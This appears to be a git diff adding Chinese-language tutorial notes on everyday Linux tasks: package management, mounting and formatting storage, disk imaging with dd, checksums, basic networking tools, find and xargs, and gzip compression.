|Fedora, Red Hat Enterprise Linux, CentOS|rpm|yum
|
||||||
|
|
||||||
|
**使用上层工具来搜索资源库元数据,可以根据软件包的名字和说明来定位它:**
|
||||||
|
|
||||||
|
|风格|命令
|
||||||
|
|------
|
||||||
|
|Debian|apt-get update; apt-cache search search_string
|
||||||
|
|Red Hat|yum search search_string
|
||||||
|
|
||||||
|
**上层工具允许从一个资源库中下载一个软件包,并经过完全依赖解析来安装它:**
|
||||||
|
|
||||||
|
|风格|命令
|
||||||
|
|------
|
||||||
|
|Debian|apt-get update; apt-get install package_name
|
||||||
|
|Red Hat|yum install package_name
|
||||||
|
|
||||||
|
**底层软件包安装命令:**
|
||||||
|
|
||||||
|
|风格|命令
|
||||||
|
|------
|
||||||
|
|Debian|dpkg --install package_file
|
||||||
|
|Red Hat|rpm -i package_file
|
||||||
|
|
||||||
|
**使用上层工具来卸载软件:**
|
||||||
|
|
||||||
|
|风格|命令
|
||||||
|
|------
|
||||||
|
|Debian|apt-get remove package_name
|
||||||
|
|Red Hat|yum erase package_name
|
||||||
|
|
||||||
|
**上层工具软件包更新命令:**
|
||||||
|
|
||||||
|
|风格|命令
|
||||||
|
|------
|
||||||
|
|Debian|apt-get update; apt-get upgrade
|
||||||
|
|Red Hat|yum update
|
||||||
|
|
||||||
|
**底层软件包升级命令:**
|
||||||
|
|
||||||
|
|风格|命令
|
||||||
|
|------
|
||||||
|
|Debian|dpkg --install package_file
|
||||||
|
|Red Hat|rpm -U package_file
|
||||||
|
|
||||||
|
**列出所安装的软件包:**
|
||||||
|
|
||||||
|
|风格|命令
|
||||||
|
|------
|
||||||
|
|Debian|dpkg --list
|
||||||
|
|Red Hat|rpm -qa
|
||||||
|
|
||||||
|
**底端工具可以用来显示是否安装了一个指定的软件包:**
|
||||||
|
|
||||||
|
|风格|命令
|
||||||
|
|------
|
||||||
|
|Debian|dpkg --status package_name
|
||||||
|
|Red Hat|rpm -q package_name
|
||||||
|
|
||||||
|
**查看软件包信息:**
|
||||||
|
|
||||||
|
|风格|命令
|
||||||
|
|------
|
||||||
|
|Debian|apt-cache show package_name
|
||||||
|
|Red Hat|yum info package_name
|
||||||
|
|
||||||
|
**确定哪个软件包对所安装的某个特殊文件负责:**
|
||||||
|
|
||||||
|
|风格|命令
|
||||||
|
|------
|
||||||
|
|Debian|dpkg --search file_name
|
||||||
|
|Red Hat|rpm -qf file_name
|
||||||
|
|
||||||
|
## 二、存储媒介
|
||||||
|
|
||||||
|
```
|
||||||
|
mount – 挂载一个文件系统
|
||||||
|
umount – 卸载一个文件系统
|
||||||
|
fsck – 检查和修复一个文件系统
|
||||||
|
fdisk – 分区表控制器
|
||||||
|
mkfs – 创建文件系统
|
||||||
|
fdformat – 格式化一张软盘
|
||||||
|
dd — 把面向块的数据直接写入设备
|
||||||
|
genisoimage (mkisofs) – 创建一个 ISO 9660的映像文件
|
||||||
|
wodim (cdrecord) – 把数据写入光存储媒介
|
||||||
|
md5sum – 计算 MD5检验码
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 挂载和卸载存储设备
|
||||||
|
|
||||||
|
管理存储设备的第一步是把设备连接到文件系统树中,即挂载。有一个叫做`/etc/fstab`的文件可以列出系统启动时要挂载的设备(典型地,硬盘分区)。
|
||||||
|
|
||||||
|
Fedora 7系统的/etc/fstab 文件实例:
|
||||||
|
|
||||||
|
```
|
||||||
|
LABEL=/12 / ext3 defaults 1 1
|
||||||
|
LABEL=/home /home ext3 defaults 1 2
|
||||||
|
LABEL=/boot /boot ext3 defaults 1 2
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
字段说明:
|
||||||
|
|
||||||
|
|字段|内容|说明
|
||||||
|
|------
|
||||||
|
|1|设备名|传统上,这个字段包含与物理设备相关联的设备文件的实际名字,比如说/dev/hda1(第一个 IDE 通道上第一个主设备分区)。然而今天的计算机,有很多热插拔设备(像 USB 驱动设备),许多 现代的 Linux 发行版用一个文本标签和设备相关联。当这个设备连接到系统中时, 这个标签(当储存媒介格式化时,这个标签会被添加到存储媒介中)会被操作系统读取。 那样的话,不管赋给实际物理设备哪个设备文件,这个设备仍然能被系统正确地识别。
|
||||||
|
|2|挂载点|设备所连接到的文件系统树的目录。
|
||||||
|
|3|文件系统类型|Linux 允许挂载许多文件系统类型。大多数本地的 Linux 文件系统是 ext3, 但是也支持很多其它的,比方说 FAT16 (msdos), FAT32 (vfat),NTFS (ntfs),CD-ROM (iso9660),等等。
|
||||||
|
|4|选项|文件系统可以通过各种各样的选项来挂载。有可能,例如,挂载只读的文件系统, 或者挂载阻止执行任何程序的文件系统(一个有用的安全特性,避免删除媒介。)
|
||||||
|
|5|频率|一位数字,指定是否和在什么时间用 dump 命令来备份一个文件系统。
|
||||||
|
|6|次序|一位数字,指定 fsck 命令按照什么次序来检查文件系统。
|
||||||
|
|
||||||
|
### 查看挂载的文件系统列表
|
||||||
|
|
||||||
|
```
|
||||||
|
# mount 命令被用来挂载文件系统
|
||||||
|
# 设备 on 挂载点 type 文件系统类型(选项)
|
||||||
|
alien@localhost:~$ mount
|
||||||
|
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
|
||||||
|
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
|
||||||
|
udev on /dev type devtmpfs (rw,nosuid,relatime,size=1947612k,nr_inodes=486903,mode=755)
|
||||||
|
/dev/hdc on /media/live-1.0.10-8 type iso9660 (ro,noexec,nosuid,
|
||||||
|
nodev,uid=500)
|
||||||
|
...
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# umount卸载文件系统
|
||||||
|
alien@localhost:~$ su
|
||||||
|
密码:
|
||||||
|
root@localhost:/home/alien# umount /dev/hdc
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 把设备挂载到了一个目录
|
||||||
|
mkdir /mnt/cdrom
|
||||||
|
mount -t iso9660 /dev/hdc /mnt/cdrom
|
||||||
|
# 卸载设备
|
||||||
|
umount /dev/hdc
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
>
|
||||||
|
tips:打印机缓存是一个包含一些 RAM 内存 的设备,位于计算机和打印机之间。通过打印机缓存,计算机把要打印的结果发送到这个缓存区, 数据会迅速地存储到这个 RAM 中,这样计算机就能回去工作,而不用等待。与此同时,打印机缓存将会 以打印机可接受的速度把缓存中的数据缓慢地输出给打印机。
|
||||||
|
|
||||||
|
|
||||||
|
### 确定设备名称
|
||||||
|
|
||||||
|
```
|
||||||
|
# 列出目录/dev(所有设备的住所)
|
||||||
|
alien@localhost:~$ ls /dev
|
||||||
|
autofs i2c-8 sda tty21 tty55 ttyS3
|
||||||
|
block initctl sda1 tty22 tty56 ttyS30
|
||||||
|
bsg input sda10 tty23 tty57 ttyS31
|
||||||
|
btrfs-control kmsg sda11 tty24 tty58 ttyS4
|
||||||
|
...
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**Linux 存储设备名称:**
|
||||||
|
|
||||||
|
|模式|设备
|
||||||
|
|------
|
||||||
|
|/dev/fd*|软盘驱动器
|
||||||
|
|/dev/hd*|老系统中的 IDE(PATA)磁盘。典型的主板包含两个 IDE 连接器或者是通道,每个连接器 带有一根缆线,每根缆线上有两个硬盘驱动器连接点。缆线上的第一个驱动器叫做主设备, 第二个叫做从设备。设备名称这样安排,/dev/hdb 是指第一通道上的主设备名;/dev/hdb 是第一通道上的从设备名;/dev/hdc 是第二通道上的主设备名,等等。末尾的数字表示 硬盘驱动器上的分区。例如,/dev/hda1是指系统中第一硬盘驱动器上的第一个分区,而 /dev/hda 则是指整个硬盘驱动器。
|
||||||
|
|/dev/lp*|打印机
|
||||||
|
|/dev/sd*|SCSI 磁盘。在最近的 Linux 系统中,内核把所有类似于磁盘的设备(包括 PATA/SATA 硬盘, 闪存,和 USB 存储设备,比如说可移动的音乐播放器和数码相机)看作 SCSI 磁盘。 剩下的命名系统类似于上述所描述的旧的/dev/hd*命名方案。
|
||||||
|
|/dev/sr*|光盘(CD/DVD 读取器和烧写器)
|
||||||
|
|
||||||
|
### 创建新的文件系统
|
||||||
|
|
||||||
|
假设我们使用一个16MB 闪存备,名称是/dev/sdb 指整个设备,/dev/sdb1是这个设备的第一分区,fdisk 命令操作分区:
|
||||||
|
|
||||||
|
```
|
||||||
|
# 操作分区
|
||||||
|
sudo fdisk /dev/sdb
|
||||||
|
# 创建一个新的文件系统
|
||||||
|
sudo mkfs -t ext3 /dev/sdb1
|
||||||
|
# 重新格式化为它最初的 FAT32文件 系统
|
||||||
|
sudo mkfs -t vfat /dev/sdb1
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 测试和修复文件系统
|
||||||
|
|
||||||
|
```
|
||||||
|
# 检查我们的闪存驱动器
|
||||||
|
sudo fsck /dev/sdb1
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 格式化软盘
|
||||||
|
|
||||||
|
使用 fdformat 程序,同时指定软盘设备名称(通常为/dev/fd0):
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo fdformat /dev/fd0
|
||||||
|
# 通过 mkfs 命令,给这个软盘创建一个 FAT 文件系统
|
||||||
|
sudo mkfs -t msdos /dev/fd0
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 直接把数据移入/出设备
|
||||||
|
|
||||||
|
dd 程序把磁盘驱动器简单地看成一个数据块大集合,可以克隆设备:
|
||||||
|
|
||||||
|
```
|
||||||
|
dd if=input_file of=output_file [bs=block_size [count=blocks]]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 把第一个驱动器中的所有数据复制到第二个 驱动器中。
|
||||||
|
dd if=/dev/sdb of=/dev/sdc
|
||||||
|
# 如果只有第一个驱动器被连接到计算机上,我们可以把它的内容
|
||||||
|
# 复制到一个普通文件中供 以后恢复或复制数据:
|
||||||
|
dd if=/dev/sdb of=flash_drive.img
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 创建 CD-ROM 映像
|
||||||
|
|
||||||
|
```
|
||||||
|
# 适用于 DVD 光盘, 对于音频 CD,看一下 cdrdao 命令
|
||||||
|
dd if=/dev/cdrom of=ubuntu.iso
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
创建一个包含目录内容的 iso 映像文件,我们使用 genisoimage 程序:
|
||||||
|
|
||||||
|
```
|
||||||
|
genisoimage -o cd-rom.iso -R -J ~/cd-rom-files
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
“-R”选项添加元数据为 Rock Ridge 扩展,这允许使用长文件名和 POSIX 风格的文件权限。 同样地,这个”-J”选项使 Joliet 扩展生效,这样 Windows 中就支持长文件名了。
|
||||||
|
|
||||||
|
```
|
||||||
|
# 直接挂载一个 ISO 镜像
|
||||||
|
mkdir /mnt/iso_image
|
||||||
|
mount -t iso9660 -o loop image.iso /mnt/iso_image
|
||||||
|
# 清除一张可重写入的 CD-ROM
|
||||||
|
wodim dev=/dev/cdrw blank=fast
|
||||||
|
# 写入镜像
|
||||||
|
wodim dev=/dev/cdrw image.iso
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**checksum 文件:**
|
||||||
|
|
||||||
|
iso 映像文件的贡献者也会提供 一个 checksum 文件,它是一个神奇的数学运算的计算结果,这个数学计算会产生一个能表示目标文件内容的数字。生成 checksum 数字的最常见方法是使用 md5sum 程序。
|
||||||
|
|
||||||
|
```
|
||||||
|
md5sum image.iso
|
||||||
|
34e354760f9bb7fbf85c96f6a3f94ece image.iso
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
这就可以验证我们下载的镜像和发行商提供的镜像是否一致。如检验映像文件 dvd-image.iso 以及 DVD 光驱中磁盘 /dev/dvd 文件的完整性:
|
||||||
|
|
||||||
|
```
|
||||||
|
md5sum dvd-image.iso; dd if=/dev/dvd bs=2048 count=$(( $(stat -c "%s" dvd-image.iso) / 2048 )) | md5sum
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 三、网络系统
|
||||||
|
|
||||||
|
```
|
||||||
|
ping - 发送 ICMP ECHO_REQUEST 数据包到网络主机
|
||||||
|
traceroute - 打印到一台网络主机的路由数据包
|
||||||
|
netstat - 打印网络连接,路由表,接口统计数据,伪装连接,和多路广播成员
|
||||||
|
ftp - 因特网文件传输程序
|
||||||
|
wget - 非交互式网络下载器
|
||||||
|
ssh - OpenSSH SSH 客户端(远程登录程序)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 检查和监测网络
|
||||||
|
|
||||||
|
```
|
||||||
|
alien@localhost:~ $ traceroute slashdot.org
|
||||||
|
traceroute to slashdot.org (216.105.38.15), 30 hops max, 60 byte packets
|
||||||
|
1 10.35.0.1 (10.35.0.1) 43.175 ms 71.185 ms 71.203 ms
|
||||||
|
2 10.0.5.185 (10.0.5.185) 71.196 ms 71.165 ms 71.134 ms
|
||||||
|
3 10.0.8.5 (10.0.8.5) 71.052 ms 10.0.6.5 (10.0.6.5) 70.984 ms 10.0.8.5 (10.0.8.5) 70.978 ms
|
||||||
|
...
|
||||||
|
28 * * *
|
||||||
|
29 * * *
|
||||||
|
30 * * *
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
一共经由30个路由器,对于那些 提供标识信息的路由器,我们能看到它们的主机名,IP 地址和性能数据,这些数据包括三次从本地到 此路由器的往返时间样本。对于那些没有提供标识信息的路由器(由于路由器配置,网络拥塞,防火墙等 方面的原因),我们会看到几个星号,正如行中所示。
|
||||||
|
|
||||||
|
```
|
||||||
|
# 使用“-ie”选项,我们能够查看系统中的网络接口
|
||||||
|
alien@localhost:~ $ netstat -ie
|
||||||
|
Kernel Interface table
|
||||||
|
enp7s0 Link encap:以太网 硬件地址 74:e6:e2:41:f6:62
|
||||||
|
UP BROADCAST MULTICAST MTU:1500 跃点数:1
|
||||||
|
接收数据包:689500 错误:0 丢弃:0 过载:0 帧数:0
|
||||||
|
发送数据包:156502 错误:0 丢弃:0 过载:0 载波:0
|
||||||
|
碰撞:0 发送队列长度:1000
|
||||||
|
接收字节:300138422 (300.1 MB) 发送字节:23781675 (23.7 MB)
|
||||||
|
...
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
其中`enp7s0`是一个网络接口,`lo`是内部回环网络接口,它是一个虚拟接口,系统用它来自言自语。
|
||||||
|
|
||||||
|
### 网络中传输文件
|
||||||
|
|
||||||
|
**ftp:**
|
||||||
|
|
||||||
|
|命令|意思
|
||||||
|
|------
|
||||||
|
|ftp fileserver|唤醒 ftp 程序,让它连接到 FTP 服务器,fileserver。
|
||||||
|
|anonymous|登录名。输入登录名后,将出现一个密码提示。一些服务器将会接受空密码, 其它一些则会要求一个邮件地址形式的密码。如果是这种情况,试着输入 “user@example.com”。
|
||||||
|
|cd pub/cd_images/Ubuntu-8.04|跳转到远端系统中,要下载文件所在的目录下, 注意在大多数匿名的 FTP 服务器中,支持公共下载的文件都能在目录 pub 下找到
|
||||||
|
|ls|列出远端系统中的目录。
|
||||||
|
|lcd Desktop|跳转到本地系统中的 ~/Desktop 目录下。在实例中,ftp 程序在工作目录 ~ 下被唤醒。 这个命令把工作目录改为 ~/Desktop
|
||||||
|
|get ubuntu-8.04-desktop-i386.iso|告诉远端系统传送文件到本地。因为本地系统的工作目录 已经更改到了 ~/Desktop,所以文件会被下载到此目录。
|
||||||
|
|bye|退出远端服务器,结束 ftp 程序会话。也可以使用命令 quit 和 exit。
|
||||||
|
|
||||||
|
**lftp - 更好的 ftp:**
|
||||||
|
|
||||||
|
虽然 lftp 工作起来与传统的 ftp 程序很相似,但是它带有额外的便捷特性,包括 多协议支持(包括 HTTP),若下载失败会自动地重新下载,后台处理,用 tab 按键来补全路径名,还有很多。
|
||||||
|
|
||||||
|
**wget:**
|
||||||
|
|
||||||
|
不只能下载单个文件,多个文件,甚至整个网站都能下载,这个程序的许多选项允许 wget 递归地下载,在后台下载文件(你退出后仍在下载),能完成未下载 全的文件。
|
||||||
|
|
||||||
|
### 与远程主机安全通信
|
||||||
|
|
||||||
|
**ssh**(Secure Shell):它要认证远端主机是否为它 所知道的那台主机(这样就阻止了所谓的“中间人”的攻击),其次,它加密了本地与远程主机之间 所有的通讯信息。
|
||||||
|
|
||||||
|
SSH 由两部分组成。SSH 服务端运行在远端主机上,在端口 22 上监听收到的外部连接,而 SSH 客户端用在本地系统中,用来和远端服务器通信。
|
||||||
|
|
||||||
|
为了能让系统接受远端的连接,它必须安装 OpenSSH-server 软件包,它必须允许在 TCP 端口 22 上接收网络连接。
|
||||||
|
|
||||||
|
**scp 和 sftp:**
|
||||||
|
|
||||||
|
OpenSSH 软件包也包含两个程序,scp(安全复制)被用来复制文件,与熟悉的 cp 程序非常相似。
|
||||||
|
|
||||||
|
```
|
||||||
|
# 主机名后面跟":"
|
||||||
|
scp bob@remote-sys:./document.txt ./
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
sftp:任何一台能用 SSH 客户端连接的远端机器,也可当作类似于 FTP 的服务器来使用.
|
||||||
|
|
||||||
|
## 四、查找文件
|
||||||
|
|
||||||
|
```
|
||||||
|
locate – 通过名字来查找文件
|
||||||
|
find – 在一个目录层次结构中搜索文件
|
||||||
|
xargs – 从标准输入生成和执行命令行
|
||||||
|
touch – 更改文件时间
|
||||||
|
stat – 显示文件或文件系统状态
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### locate - 查找文件的简单方法
|
||||||
|
|
||||||
|
### find - 查找文件的复杂方式
|
||||||
|
|
||||||
|
locate 程序只能依据文件名来查找文件,而 find 程序能基于各种各样的属性 搜索一个给定目录(以及它的子目录),来查找文件。
|
||||||
|
|
||||||
|
上面`find ~`将产生一张很大的列表。
|
||||||
|
|
||||||
|
```
|
||||||
|
# wc 程序来计算出文件的数量
|
||||||
|
alien@localhost:~ $ sudo find ~ | wc -l
|
||||||
|
76602
|
||||||
|
# 文件数
|
||||||
|
alien@localhost:~ $ sudo find ~ -type f | wc -l
|
||||||
|
67531
|
||||||
|
# 目录数
|
||||||
|
alien@localhost:~ $ sudo find ~ -type d | wc -l
|
||||||
|
8899
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**文件类型:**
|
||||||
|
|
||||||
|
<th align="center">文件类型</th>|描述
|
||||||
|
|------
|
||||||
|
<td align="center">b</td>|块特殊设备文件
|
||||||
|
<td align="center">c</td>|字符特殊设备文件
|
||||||
|
<td align="center">d</td>|目录
|
||||||
|
<td align="center">f</td>|普通文件
|
||||||
|
<td align="center">l</td>|符号链接
|
||||||
|
|
||||||
|
```
|
||||||
|
# 限定名字和大小
|
||||||
|
alien@localhost:~ $ sudo find ~ -type f -name "*.png" -size +1k | wc -l
|
||||||
|
5409
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**大小单位:**
|
||||||
|
|
||||||
|
|字符|单位
|
||||||
|
|------
|
||||||
|
|b|512 个字节块。如果没有指定单位,则这是默认值。
|
||||||
|
|c|字节
|
||||||
|
|w|两个字节的字
|
||||||
|
|k|千字节(1024个字节单位)
|
||||||
|
|M|兆字节(1048576个字节单位)
|
||||||
|
|G|千兆字节(1073741824个字节单位)
|
||||||
|
|
||||||
|
**find常用测试条件:**
|
||||||
|
|
||||||
|
|测试条件|描述
|
||||||
|
|------
|
||||||
|
|-cmin n|匹配内容或属性最后修改时间正好在 n 分钟之前的文件或目录。 指定少于 n 分钟之前,使用 -n,指定多于 n 分钟之前,使用 +n。
|
||||||
|
|-cnewer file|匹配内容或属性最后修改时间晚于 file 的文件或目录。
|
||||||
|
|-ctime n|匹配内容和属性最后修改时间在 n*24小时之前的文件和目录。
|
||||||
|
|-empty|匹配空文件和目录。
|
||||||
|
|-group name|匹配属于一个组的文件或目录。组可以用组名或组 ID 来表示。
|
||||||
|
|-iname pattern|就像-name 测试条件,但是不区分大小写。
|
||||||
|
|-inum n|匹配 inode 号是 n的文件。这对于找到某个特殊 inode 的所有硬链接很有帮助。
|
||||||
|
|-mmin n|匹配内容被修改于 n 分钟之前的文件或目录。
|
||||||
|
|-mtime n|匹配的文件或目录的内容被修改于 n*24小时之前。
|
||||||
|
|-name pattern|用指定的通配符模式匹配的文件和目录。
|
||||||
|
|-newer file|匹配内容晚于指定的文件的文件和目录。这在编写执行备份的 shell 脚本的时候很有帮。 每次你制作一个备份,更新文件(比如说日志),然后使用 find 命令来判断哪些文件自从上一次更新之后被更改了。
|
||||||
|
|-nouser|匹配不属于一个有效用户的文件和目录。这可以用来查找 属于被删除的帐户的文件或监测攻击行为。
|
||||||
|
|-nogroup|匹配不属于一个有效的组的文件和目录。
|
||||||
|
|-perm mode|匹配权限已经设置为指定的 mode的文件或目录。mode 可以用 八进制或符号表示法。
|
||||||
|
|-samefile name|类似于-inum 测试条件。匹配和文件 name 享有同样 inode 号的文件。
|
||||||
|
|-size n|匹配大小为 n 的文件
|
||||||
|
|-type c|匹配文件类型是 c 的文件。
|
||||||
|
|-user name|匹配属于某个用户的文件或目录。这个用户可以通过用户名或用户 ID 来表示。
|
||||||
|
|
||||||
|
**操作符:**
|
||||||
|
|
||||||
|
```
|
||||||
|
find ~ \( -type f -not -perm 0600 \) -or \( -type d -not -perm 0700 \)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
|操作符|描述
|
||||||
|
|------
|
||||||
|
|-and|如果操作符两边的测试条件都是真,则匹配。可以简写为 -a。 注意若没有使用操作符,则默认使用 -and。
|
||||||
|
|-or|若操作符两边的任一个测试条件为真,则匹配。可以简写为 -o。
|
||||||
|
|-not|若操作符后面的测试条件是真,则匹配。可以简写为一个感叹号(!)。
|
||||||
|
|()|把测试条件和操作符组合起来形成更大的表达式。这用来控制逻辑计算的优先级。 默认情况下,find 命令按照从左到右的顺序计算。经常有必要重写默认的求值顺序,以得到期望的结果。 即使没有必要,有时候包括组合起来的字符,对提高命令的可读性是很有帮助的。注意 因为圆括号字符对于 shell 来说有特殊含义,所以在命令行中使用它们的时候,它们必须 用引号引起来,才能作为实参传递给 find 命令。通常反斜杠字符被用来转义圆括号字符。
|
||||||
|
|
||||||
|
上述表达式`( expression 1 ) -or ( expression 2 )`解释为:`( file with bad perms ) -or ( directory with bad perms )`,圆括号对于 shell 有特殊含义,我们必须转义它们,来阻止 shell 解释它们。
|
||||||
|
|
||||||
|
|expr1 的结果|操作符|expr2 is…
|
||||||
|
|------
|
||||||
|
|真|-and|总要执行
|
||||||
|
|假|-and|从不执行
|
||||||
|
|真|-or|从不执行
|
||||||
|
|假|-or|总要执行
|
||||||
|
|
||||||
|
### 预定义的操作
|
||||||
|
|
||||||
|
find 命令允许基于搜索结果来执行操作
|
||||||
|
|
||||||
|
|操作|描述
|
||||||
|
|------
|
||||||
|
|-delete|删除当前匹配的文件。
|
||||||
|
|-ls|对匹配的文件执行等同的 ls -dils 命令。并将结果发送到标准输出。
|
||||||
|
|-print|把匹配文件的全路径名输送到标准输出。如果没有指定其它操作,这是 默认操作。
|
||||||
|
|-quit|一旦找到一个匹配,退出。
|
||||||
|
|
||||||
|
`-ok`:交互式地执行一个用户定义的行为。
|
||||||
|
|
||||||
|
```
|
||||||
|
-exec command {} ;
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
这里的 command 就是指一个命令的名字,{}是当前路径名的符号表示,分号是必要的分隔符 表明命令的结束。
|
||||||
|
|
||||||
|
### xargs
|
||||||
|
|
||||||
|
xargs 命令从标准输入接受输入,并把输入转换为一个特定命令的 参数列表。find 命令提供的 -print0 行为, 则会产生由 null 字符分离的输出,并且 xargs 命令有一个 –null 选项,这个选项会接受由 null 字符 分离的输入。这里有一个例子:
|
||||||
|
|
||||||
|
```
|
||||||
|
find ~ -iname ‘*.jpg’ -print0 xargs –null ls -l
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
alien@localhost:~ $ mkdir -p playground/dir-{00{1..9},0{10..99},100}
|
||||||
|
alien@localhost:~ $ touch playground/dir-{00{1..9},0{10..99},100}/file-{A..Z}
|
||||||
|
alien@localhost:~ $ find playground -type f -name 'file-A' | wc -l
|
||||||
|
100
|
||||||
|
alien@localhost:~ $ touch playground/timestamp
|
||||||
|
alien@localhost:~ $ stat playground/timestamp
|
||||||
|
文件:'playground/timestamp'
|
||||||
|
大小:0 块:0 IO 块:4096 普通空文件
|
||||||
|
设备:80ah/2058d Inode:1316820 硬链接:1
|
||||||
|
权限:(0664/-rw-rw-r--) Uid:( 1000/ alien) Gid:( 1000/ alien)
|
||||||
|
最近访问:2018-09-20 00:12:17.421846149 +0800
|
||||||
|
最近更改:2018-09-20 00:12:17.421846149 +0800
|
||||||
|
最近改动:2018-09-20 00:12:17.421846149 +0800
|
||||||
|
创建时间:-
|
||||||
|
alien@localhost:~ $ touch playground/timestamp
|
||||||
|
alien@localhost:~ $ stat playground/timestamp
|
||||||
|
文件:'playground/timestamp'
|
||||||
|
大小:0 块:0 IO 块:4096 普通空文件
|
||||||
|
设备:80ah/2058d Inode:1316820 硬链接:1
|
||||||
|
权限:(0664/-rw-rw-r--) Uid:( 1000/ alien) Gid:( 1000/ alien)
|
||||||
|
最近访问:2018-09-20 00:12:55.566202684 +0800
|
||||||
|
最近更改:2018-09-20 00:12:55.566202684 +0800
|
||||||
|
最近改动:2018-09-20 00:12:55.566202684 +0800
|
||||||
|
创建时间:-
|
||||||
|
alien@localhost:~ $ find playground -type f -name 'file-B' -exec touch '{}' ';'
|
||||||
|
alien@localhost:~ $ find playground -type f -newer playground/timestamp
|
||||||
|
playground/dir-051/file-B
|
||||||
|
playground/dir-007/file-B
|
||||||
|
playground/dir-092/file-B
|
||||||
|
playground/dir-068/file-B
|
||||||
|
...
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**find 命令选项:**
|
||||||
|
|
||||||
|
|选项|描述
|
||||||
|
|------
|
||||||
|
|-depth|指示 find 程序先处理目录中的文件,再处理目录自身。当指定-delete 行为时,会自动 应用这个选项。
|
||||||
|
|-maxdepth levels|当执行测试条件和行为的时候,设置 find 程序陷入目录树的最大级别数
|
||||||
|
|-mindepth levels|在应用测试条件和行为之前,设置 find 程序陷入目录数的最小级别数。
|
||||||
|
|-mount|指示 find 程序不要搜索挂载到其它文件系统上的目录。
|
||||||
|
|-noleaf|指示 find 程序不要基于自己在搜索 Unix 的文件系统的假设,来优化它的搜索。 在搜索DOS/Windows 文件系统和CD/ROMS的时候,我们需要这个选项
|
|
@ -0,0 +1,702 @@
|
||||||
|
# 原创
|
||||||
|
: Liunx常见任务和基本工具(下篇)
|
||||||
|
|
||||||
|
# Liunx常见任务和基本工具(下篇)
|
||||||
|
|
||||||
|
### 文章目录
|
||||||
|
|
||||||
|
## 五、归档和备份
|
||||||
|
|
||||||
|
```
|
||||||
|
# 压缩程序
|
||||||
|
gzip – 压缩或者展开文件
|
||||||
|
bzip2 – 块排序文件压缩器
|
||||||
|
# 归档程序
|
||||||
|
tar – 磁带打包工具
|
||||||
|
zip – 打包和压缩文件
|
||||||
|
# 文件同步程序
|
||||||
|
rsync – 同步远端文件和目录
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 压缩文件
|
||||||
|
|
||||||
|
压缩算法:无损压缩保留了 原始文件的所有数据;有损压缩,执行压缩操作时会删除数据,允许更大的压缩。**gzip/gunzip:**
|
||||||
|
|
||||||
|
```
|
||||||
|
alien@localhost:~ $ ls -l /etc > foo.txt
|
||||||
|
alien@localhost:~ $ ls -l foo.*
|
||||||
|
-rw-rw-r-- 1 alien alien 14700 9月 20 08:36 foo.txt
|
||||||
|
alien@localhost:~ $ gzip foo.txt
|
||||||
|
alien@localhost:~ $ ls -l foo.*
|
||||||
|
-rw-rw-r-- 1 alien alien 2877 9月 20 08:36 foo.txt.gz
|
||||||
|
alien@localhost:~ $ gunzip foo.txt.gz
|
||||||
|
alien@localhost:~ $ ls -l foo.*
|
||||||
|
-rw-rw-r-- 1 alien alien 14700 9月 20 08:36 foo.txt
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**gzip 选项:**
|
||||||
|
|
||||||
|
|选项|说明
|
||||||
|
|------
|
||||||
|
|-c|把输出写入到标准输出,并且保留原始文件。也有可能用–stdout 和–to-stdout 选项来指定。
|
||||||
|
|-d|解压缩。正如 gunzip 命令一样。也可以用–decompress 或者–uncompress 选项来指定.
|
||||||
|
|-f|强制压缩,即使原始文件的压缩文件已经存在了,也要执行。也可以用–force 选项来指定。
|
||||||
|
|-h|显示用法信息。也可用–help 选项来指定。
|
||||||
|
|-l|列出每个被压缩文件的压缩数据。也可用–list 选项。
|
||||||
|
|-r|若命令的一个或多个参数是目录,则递归地压缩目录中的文件。也可用–recursive 选项来指定。
|
||||||
|
|-t|测试压缩文件的完整性。也可用–test 选项来指定。
|
||||||
|
|-v|显示压缩过程中的信息。也可用–verbose 选项来指定。
|
||||||
|
|-number|设置压缩指数。number 是一个在1(最快,最小压缩)到9(最慢,最大压缩)之间的整数。 数值1和9也可以各自用–fast 和–best 选项来表示。默认值是整数6。
|
||||||
|
|
||||||
|
```
|
||||||
|
alien@localhost:~ $ ls -l /etc | gzip > foo.txt.gz
|
||||||
|
# 没有必要指定.gz
|
||||||
|
alien@localhost:~ $ gunzip foo.txt
|
||||||
|
alien@localhost:~ $ ls -l foo.txt
|
||||||
|
-rw-rw-r-- 1 alien alien 14700 9月 20 08:43 foo.txt
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 查看压缩文件内容
|
||||||
|
alien@localhost:~ $ ls -l /etc | gzip > foo.txt.gz
|
||||||
|
